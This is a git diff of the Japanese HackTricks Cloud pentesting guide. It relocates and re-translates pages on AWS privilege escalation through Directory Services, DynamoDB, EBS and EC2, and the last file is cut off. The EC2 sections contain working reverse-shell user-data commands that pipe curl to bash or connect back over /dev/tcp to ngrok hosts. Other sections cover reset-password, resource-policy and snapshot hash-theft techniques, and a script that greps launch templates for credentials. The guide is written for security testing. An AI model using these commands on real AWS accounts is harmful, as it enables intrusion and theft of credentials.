--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - ディレクトリサービスの特権昇格
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ディレクトリサービス
-
-ディレクトリサービスに関する詳細情報は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
-{{#endref}}
-
-### `ds:ResetUserPassword`
-
-この権限は、Active Directory内の任意の**既存**ユーザーの**パスワード**を**変更**することを許可します。\
-デフォルトでは、唯一の**既存**ユーザーは**Admin**です。
-```
-aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
-```
-### AWS Management Console
-
-ADのユーザーがログインするためにアクセスできる**アプリケーションアクセスURL**を有効にすることが可能です：
-
-<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
-
-そして、ログイン時に**AWS IAMロール**を付与することで、ADユーザー/グループがAWS管理コンソールにアクセスできるようになります：
-
-<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
-
-アプリケーションアクセスURLを有効にし、AWS Management Consoleの権限を付与する方法は、現時点では明らかにされていません。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
new file mode 100644
index 000000000..e48c24bd2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
@@ -0,0 +1,32 @@
+# AWS - Directory Services Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Directory Services
+
+Directory Services の詳細については次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-directory-services-workdocs-enum.md
+{{#endref}}
+
+### `ds:ResetUserPassword`
+
+この権限は Active Directory の任意の**既存**ユーザーの**パスワード**を**変更**することを許可します。\
+デフォルトでは、唯一の既存ユーザーは **Admin** です。
+```
+aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
+```
+### AWS Management Console
+
+ADのユーザーがログインするためにアクセスできる**アプリケーションアクセスURL**を有効にできます:
+
+<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
+
+そしてログイン時に**AWS IAM role を付与する**ことで、ADユーザー/グループはAWS Management Consoleにアクセスできるようになります:
+
+<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
+
+どうやらアプリケーションアクセスURLやAWS Management Consoleを有効にして権限を付与する方法はないようです
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
deleted file mode 100644
index af87a90c8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# AWS - DynamoDB Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## dynamodb
-
-dynamodbに関する詳細情報は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### `dynamodb:PutResourcePolicy` とオプションで `dynamodb:GetResourcePolicy`
-
-2024年3月以降、AWSはDynamoDBに対して*リソースベースのポリシー*を提供しています（[AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)）。
-
-したがって、テーブルに対して`dynamodb:PutResourcePolicy`を持っている場合、テーブルへの完全なアクセス権を自分自身または他の任意のプリンシパルに付与できます。
-
-`dynamodb:PutResourcePolicy`をランダムなプリンシパルに付与することは、管理者が`dynamodb:Put*`を付与することでそのプリンシパルがデータベースにアイテムを追加できるだけだと考える場合や、2024年3月以前にその権限セットを付与した場合に、しばしば偶然に発生します...
-
-理想的には、他の潜在的に重要な権限を上書きせず、必要な追加の権限のみを注入するために、`dynamodb:GetResourcePolicy`も持っているべきです：
-```bash
-# get the current resource based policy (if it exists) and save it to a file
-aws dynamodb get-resource-policy \
---resource-arn <table_arn> \
---query 'Policy' \
---output text > policy.json
-```
-現在のポリシーを取得できない場合は、テーブルに対してあなたのプリンシパルに完全なアクセスを付与するこのポリシーを使用してください：
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "FullAccessToDynamoDBTable",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
-},
-"Action": [
-"dynamodb:*"
-],
-"Resource": [
-"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
-]
-}
-]
-}
-```
-もしカスタマイズが必要な場合、すべての可能なDynamoDBアクションのリストは次のとおりです: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)。また、リソースベースのポリシーを介して許可されるすべてのアクションのリスト *およびこれらのうちどれがクロスアカウントで使用できるか（データの流出を考えてください！）*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
-
-さて、ポリシードキュメント `policy.json` が準備できたら、リソースポリシーを設定します:
-```bash
-# put the new policy using the prepared policy file
-# dynamodb does weirdly not allow a direct file upload
-aws dynamodb put-resource-policy \
---resource-arn <table_arn> \
---policy "$(cat policy.json)"
-```
-今、必要な権限を持っているはずです。
-
-### ポストエクスプロイテーション
-
-私の知る限り、AWSの`dynamodb`権限を持っているだけで権限を昇格させる直接的な方法は**他にありません**。テーブルから**機密情報**を**読み取る**ことができ（AWSの認証情報を含む可能性があります）、テーブルに**情報を書き込む**ことができます（これにより、lambdaコードインジェクションなどの他の脆弱性が引き起こされる可能性があります）が、これらのオプションはすでに**DynamoDBポストエクスプロイテーションページ**で考慮されています：
-
-{{#ref}}
-../aws-post-exploitation/aws-dynamodb-post-exploitation.md
-{{#endref}}
-
-### TODO: データストリームを悪用してデータを読む
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
new file mode 100644
index 000000000..328bae7e8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
@@ -0,0 +1,72 @@
+# AWS - DynamoDB Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## dynamodb
+
+dynamodb の詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### `dynamodb:PutResourcePolicy`、必要に応じて `dynamodb:GetResourcePolicy`
+
+2024年3月以降、AWSはDynamoDB向けに*resource based policies*を提供しています（[AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)）。
+
+つまり、テーブルに対して `dynamodb:PutResourcePolicy` を持っていれば、自分自身や他の任意のプリンシパルにテーブルへのフルアクセスを付与できます。
+
+ランダムなプリンシパルに `dynamodb:PutResourcePolicy` を付与してしまうのはしばしば誤って起こります。管理者が `dynamodb:Put*` を付与するとそのプリンシパルはデータベースにアイテムをputするだけだと考えたり、あるいは2024年3月以前にその権限セットを付与していた場合などです...
+
+理想的には、`dynamodb:GetResourcePolicy` も持っていると、他の重要な権限を上書きせずに、必要な追加権限だけを挿入できます:
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn <table_arn> \
+--query 'Policy' \
+--output text > policy.json
+```
+現在のポリシーを取得できない場合は、プリンシパルに対してテーブルへの完全なアクセスを許可する以下のポリシーを使用してください:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
+"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+]
+}
+]
+}
+```
+カスタマイズが必要な場合、可能なすべての DynamoDB アクションの一覧はこちら: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)。また、resource based policy を介して許可できるすべてのアクションと *AND which of these can be used cross-account (think data exfiltration!)* の一覧はこちら: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+policy document `policy.json` が準備できたら、resource policy を設定します:
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn <table_arn> \
+--policy "$(cat policy.json)"
+```
+これで必要な権限が揃っているはずです。
+
+### Post Exploitation
+
+私の知る限り、**AWSの`dynamodb`に対するいくつかの権限を持っているだけで特権を直接昇格させる他の方法はありません**。テーブルから**機密情報を読み取ること**（それにはAWSの認証情報が含まれている可能性があります）やテーブルに**情報を書き込むこと**（lambda code injections... のような他の脆弱性を引き起こす可能性があります）は可能ですが、これらのオプションはすべて既に**DynamoDB Post Exploitation page**で検討されています：
+
+{{#ref}}
+../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
+{{#endref}}
+
+### TODO: data Streams を悪用してデータを読み取る
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
deleted file mode 100644
index 78145b808..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - EBS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EBS
-
-### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-
-これらの権限を持つ攻撃者は、**ボリュームスナップショットをローカルにダウンロードして分析し**、その中にある機密情報（シークレットやソースコードなど）を探すことができます。これを行う方法は以下を参照してください：
-
-{{#ref}}
-../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
-{{#endref}}
-
-他にも役立つ権限として、`ec2:DescribeInstances`、`ec2:DescribeVolumes`、`ec2:DeleteSnapshot`、`ec2:CreateSnapshot`、`ec2:CreateTags`などがあります。
-
-ツール [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) は、**ドメインコントローラーからパスワードを抽出する**攻撃を実行します。
-
-**潜在的な影響：** スナップショット内の機密情報を特定することによる間接的な権限昇格（Active Directoryのパスワードを取得することも可能です）。
-
-### **`ec2:CreateSnapshot`**
-
-**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成することによって、すべてのドメインユーザーのハッシュを盗む**ことができます。これにより、彼らが制御するインスタンスにマウントし、**NTDS.ditおよびSYSTEM**レジストリハイブファイルをImpacketのsecretsdumpプロジェクトで使用するためにエクスポートします。
-
-このツールを使用して攻撃を自動化できます：[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) または、スナップショットを作成した後に以前の技術のいずれかを使用することもできます。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
new file mode 100644
index 000000000..2072838b1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
@@ -0,0 +1,27 @@
+# AWS - EBS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EBS
+
+### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
+
+これらの権限を持つ攻撃者は、**ローカルにボリュームのスナップショットをダウンロードして解析する**ことが可能になり、それらから機密情報（シークレットやソースコードなど）を検索できる可能性があります。やり方は以下を参照してください:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+{{#endref}}
+
+他に役立つ可能性のある権限: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
+
+The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**.
+
+**潜在的影響:** スナップショット内の機密情報を特定することで間接的にprivescが発生する（Active Directoryのパスワードさえ取得できる可能性があります）。
+
+### **`ec2:CreateSnapshot`**
+
+**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**Domain Controller** のスナップショットを作成し、それを自分の制御するインスタンスにマウントして **NTDS.dit と SYSTEM** レジストリハイブをエクスポートすることで、ドメインユーザー全員のハッシュを盗むことができます（Impacketのsecretsdumpプロジェクトで使用可能）。
+
+この攻撃を自動化するにはこのツールを使用できます: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) またはスナップショット作成後に前述の手法を利用してください。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
deleted file mode 100644
index 6e532c6ca..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ /dev/null
@@ -1,261 +0,0 @@
-# AWS - EC2 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-**EC2に関する詳細情報**は以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-攻撃者は**IAMロールをアタッチしたインスタンスを作成し、そのインスタンスにアクセスしてメタデータエンドポイントからIAMロールの資格情報を盗むことができます**。
-
-- **SSH経由でのアクセス**
-
-**作成した** **sshキー**（`--key-name`）を使用して新しいインスタンスを起動し、その後sshで接続します（新しいものを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります）。
-```bash
-aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
---iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
---security-group-ids <sg-id>
-```
-- **ユーザーデータによるリバースシェルへのアクセス**
-
-**ユーザーデータ** (`--user-data`) を使用して新しいインスタンスを起動すると、**リバースシェル**を送信することができます。この方法ではセキュリティグループを指定する必要はありません。
-```bash
-echo '#!/bin/bash
-curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
-
-aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
---iam-instance-profile Name=<instance-profile-name> \
---count 1 \
---user-data "file:///tmp/rev.sh"
-```
-GuradDutyを使用する際は、インスタンスの外でIAMロールの資格情報を使用する場合に注意してください：
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
-{{#endref}}
-
-**潜在的な影響：** 既存のインスタンスプロファイルに添付された任意のEC2ロールへの直接的な権限昇格。
-
-#### ECSへの権限昇格
-
-この権限セットを使用すると、**EC2インスタンスを作成し、ECSクラスター内に登録する**こともできます。この方法で、ECS **サービス**は、アクセス権のある**EC2インスタンス**内で**実行**され、そのサービス（Dockerコンテナ）に侵入し、**添付されたECSロールを盗む**ことができます。
-```bash
-aws ec2 run-instances \
---image-id ami-07fde2ae86109a2af \
---instance-type t2.micro \
---iam-instance-profile <ECS_role> \
---count 1 --key-name pwned \
---user-data "file:///tmp/asd.sh"
-
-# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
-# The EC2 instance profile needs basic ECS access
-# The content of the user data is:
-#!/bin/bash
-echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
-```
-ECSサービスをこの新しいEC2インスタンスで**強制的に実行する方法**を学ぶには、次を確認してください：
-
-{{#ref}}
-aws-ecs-privesc.md
-{{#endref}}
-
-**新しいインスタンスを作成できない**が、`ecs:RegisterContainerInstance`の権限がある場合、クラスタ内にインスタンスを登録し、コメントされた攻撃を実行できるかもしれません。
-
-**潜在的な影響：** タスクに付随するECSロールへの直接的な権限昇格。
-
-### **`iam:PassRole`、** **`iam:AddRoleToInstanceProfile`**
-
-前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**し、新しい資格情報を盗むことができます。\
-インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**（一般的なケース）場合、**`iam:RemoveRoleFromInstanceProfile`**も必要です。
-```bash
-# Removing role from instance profile
-aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
-
-# Add role to instance profile
-aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
-```
-もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます（`iam:CreateInstanceProfile`）、その**インスタンスプロファイルにロールを追加**し（前述の通り）、**侵害されたインスタンスに関連付ける**ことができます：
-
-- インスタンスに**インスタンスプロファイルがない場合**（`ec2:AssociateIamInstanceProfile`）
-```bash
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
-```
-**潜在的影響:** 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。
-
-### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-
-これらの権限を持つことで、インスタンスに関連付けられたインスタンスプロファイルを変更することが可能です。攻撃者がすでにインスタンスにアクセスしている場合、関連付けられたインスタンスプロファイルを変更することで、より多くのインスタンスプロファイルロールの資格情報を盗むことができます。
-
-- **インスタンスプロファイルがある場合、** インスタンスプロファイルを **削除** (`ec2:DisassociateIamInstanceProfile`) し、**関連付ける** ことができます。
-```bash
-aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
-aws ec2 disassociate-iam-instance-profile --association-id <value>
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
-```
-- または、侵害されたインスタンスの**インスタンスプロファイル**を**置き換える**（`ec2:ReplaceIamInstanceProfileAssociation`）。
-```bash
-aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
-```
-**潜在的影響:** 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。
-
-### `ec2:RequestSpotInstances`,`iam:PassRole`
-
-**`ec2:RequestSpotInstances`および`iam:PassRole`** の権限を持つ攻撃者は、**EC2 ロールが付与された** **Spot Instance** を **リクエスト** し、**ユーザーデータ** に **rev shell** を含めることができます。\
-インスタンスが実行されると、彼は **IAM ロールを盗む** ことができます。
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 request-spot-instances \
---instance-count 1 \
---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
-```
-### `ec2:ModifyInstanceAttribute`
-
-**`ec2:ModifyInstanceAttribute`** を持つ攻撃者は、インスタンスの属性を変更できます。その中で、**ユーザーデータを変更**することができ、これによりインスタンスが**任意のデータを実行**することが可能になります。これを利用して、**EC2インスタンスへのリバースシェルを取得**することができます。
-
-属性は**インスタンスが停止している間のみ変更**できるため、**`ec2:StopInstances`** および **`ec2:StartInstances`** の**権限**が必要です。
-```bash
-TEXT='Content-Type: multipart/mixed; boundary="//"
-MIME-Version: 1.0
-
---//
-Content-Type: text/cloud-config; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="cloud-config.txt"
-
-#cloud-config
-cloud_final_modules:
-- [scripts-user, always]
-
---//
-Content-Type: text/x-shellscript; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="userdata.txt"
-
-#!/bin/bash
-bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
---//'
-TEXT_PATH="/tmp/text.b64.txt"
-
-printf $TEXT | base64 > "$TEXT_PATH"
-
-aws ec2 stop-instances --instance-ids $INSTANCE_ID
-
-aws ec2 modify-instance-attribute \
---instance-id="$INSTANCE_ID" \
---attribute userData \
---value file://$TEXT_PATH
-
-aws ec2 start-instances --instance-ids $INSTANCE_ID
-```
-**潜在的影響:** 作成されたインスタンスに付随する任意の EC2 IAM ロールへの直接的な特権昇格。
-
-### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-
-**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**rev shell**を含む**新しい Launch Template バージョン**を作成し、デフォルトバージョンを変更し、その**Launch Template**を使用する**任意の Autoscaler グループ**は、**最新**または**デフォルトバージョン**を使用するように**構成**されているため、そのテンプレートを使用して**インスタンスを再実行**し、rev shellを実行します。
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 create-launch-template-version \
---launch-template-name bad_template \
---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
-
-aws ec2 modify-launch-template \
---launch-template-name bad_template \
---default-version 2
-```
-**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格。
-
-### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
-
-**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAMロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAMロール**を**盗む**のを待つことができます。
-```bash
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
---launch-configuration-name bad_config \
---image-id ami-0c1bc246476a5572b \
---instance-type t3.micro \
---iam-instance-profile EC2-CloudWatch-Agent-Role \
---user-data "$REV"
-
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
---auto-scaling-group-name bad_auto \
---min-size 1 --max-size 1 \
---launch-configuration-name bad_config \
---desired-capacity 1 \
---vpc-zone-identifier "subnet-e282f9b8"
-```
-**潜在的影響:** 別のEC2ロールへの直接的な権限昇格。
-
-### `!autoscaling`
-
-権限のセット **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** は、IAMロールへの権限を昇格させるには不十分です。なぜなら、Launch ConfigurationまたはLaunch Templateで指定されたロールをアタッチするには **`iam:PassRole`** と **`ec2:RunInstances`** の権限が必要だからです（これは知られている権限昇格です）。
-
-### `ec2-instance-connect:SendSSHPublicKey`
-
-権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーにsshキーを追加し、それを使用してアクセスすることができます（インスタンスへのsshアクセスがある場合）または権限を昇格させることができます。
-```bash
-aws ec2-instance-connect send-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---instance-os-user "ec2-user" \
---ssh-public-key "file://$PUBK_PATH"
-```
-**潜在的な影響:** 実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格。
-
-### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-
-**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** の権限を持つ攻撃者は、**シリアル接続にSSHキーを追加する**ことができます。シリアルが有効でない場合、攻撃者はそれを有効にするために**`ec2:EnableSerialConsoleAccess`** の権限が必要です。
-
-シリアルポートに接続するためには、**マシン内のユーザーのユーザー名とパスワードを知っている必要があります。**
-```bash
-aws ec2 enable-serial-console-access
-
-aws ec2-instance-connect send-serial-console-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---serial-port 0 \
---region "eu-west-1" \
---ssh-public-key "file://$PUBK_PATH"
-
-ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
-```
-この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特に役に立ちません。
-
-**潜在的な影響:** （非常に証明が難しい）実行中のインスタンスに添付されたEC2 IAMロールへの直接的な権限昇格。
-
-### `describe-launch-templates`,`describe-launch-template-versions`
-
-起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします：
-```bash
-for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
-do
-echo "[*] Analyzing $i"
-aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
-do
-echo "VersionNumber: $version"
-echo "$userdata" | base64 -d
-echo
-done | grep -iE "aws_|password|token|api"
-done
-```
-上記のコマンドでは、特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために異なる正規表現を使用することもできます。
-
-`aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの資格情報を使用してAWSに認証できます。
-
-**潜在的な影響:** IAMユーザーへの直接的な権限昇格。
-
-## 参考文献
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
new file mode 100644
index 000000000..41f344b81
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -0,0 +1,302 @@
+# AWS - EC2 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+EC2に関する**情報**は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
+攻撃者は**IAM role をアタッチしたインスタンスを作成してそのインスタンスにアクセスし**、メタデータエンドポイントから IAM role の認証情報を盗むことができます。
+
+- **Access via SSH**
+
+作成済みの**ssh key** (`--key-name`) を使って新しいインスタンスを起動し、sshで接続します（新しいキーを作成する場合は `ec2:CreateKeyPair` の権限が必要になることがあります）。
+```bash
+aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
+--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
+--security-group-ids <sg-id>
+```
+- **user data内でのrev shellによるアクセス**
+
+**user data**（`--user-data`）を使って、あなたに**rev shell**を送る新しいインスタンスを起動できます。  
+この方法ではsecurity groupを指定する必要はありません。
+```bash
+echo '#!/bin/bash
+curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
+
+aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
+--iam-instance-profile Name=<instance-profile-name> \
+--count 1 \
+--user-data "file:///tmp/rev.sh"
+```
+インスタンス外で IAM role の認証情報を使用する場合は GuradDuty に注意してください:
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+{{#endref}}
+
+**潜在的影響:** 既存の instance profiles にアタッチされた任意の EC2 role への直接的な privesc。
+
+#### ECS への Privesc
+
+この権限セットを使うと、**create an EC2 instance and register it inside an ECS cluster** ことも可能です。  
+この方法では、あなたがアクセスできる **EC2 instance** 内で ECS の **services** が **run** され、そのサービス（docker containers）に侵入して、**steal their ECS roles attached** ことができます。
+```bash
+aws ec2 run-instances \
+--image-id ami-07fde2ae86109a2af \
+--instance-type t2.micro \
+--iam-instance-profile <ECS_role> \
+--count 1 --key-name pwned \
+--user-data "file:///tmp/asd.sh"
+
+# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
+# The EC2 instance profile needs basic ECS access
+# The content of the user data is:
+#!/bin/bash
+echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
+```
+この新しい EC2 インスタンスで **ECS services を強制的に実行させる方法** を確認するには:
+
+{{#ref}}
+../aws-ecs-privesc/README.md
+{{#endref}}
+
